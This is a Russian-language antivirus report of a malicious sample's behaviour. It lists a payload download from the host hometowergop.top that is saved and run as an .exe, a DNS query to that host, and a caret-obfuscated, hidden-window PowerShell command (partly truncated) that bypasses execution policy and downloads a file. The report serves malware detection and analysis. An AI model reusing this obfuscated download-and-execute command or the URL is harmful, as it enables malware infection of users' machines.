Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://hometowergop.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pOWE^R^shE^L^L.E^xE -ExEcuT^I^O^NP^oLICY ^BY^PA^sS ^-no^P^ROFi^lE -WIN^D^OW^sTYL^E ^HI^dD^E^n^ (^neW^-o^B^jECT syste^m^.^nET.W^E^bcLiENt).^D^O^Wn^l^o^a^D^FILe(^'http://hometo...
Сетевая активность
UDP
- DNS ASK ho####wergop.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pOWE^R^shE^L^L.E^xE -ExEcuT^I^O^NP^oLICY ^BY^PA^sS ^-no^P^ROFi^lE -WIN^D^OW^sTYL^E ^HI^dD^E^n^ (^neW^-o^B^jECT syste^m^.^nET.W^E^bcLiENt).^D^O^Wn^l^o^a^D^FILe(^'http://hometo...' (со скрытым окном)
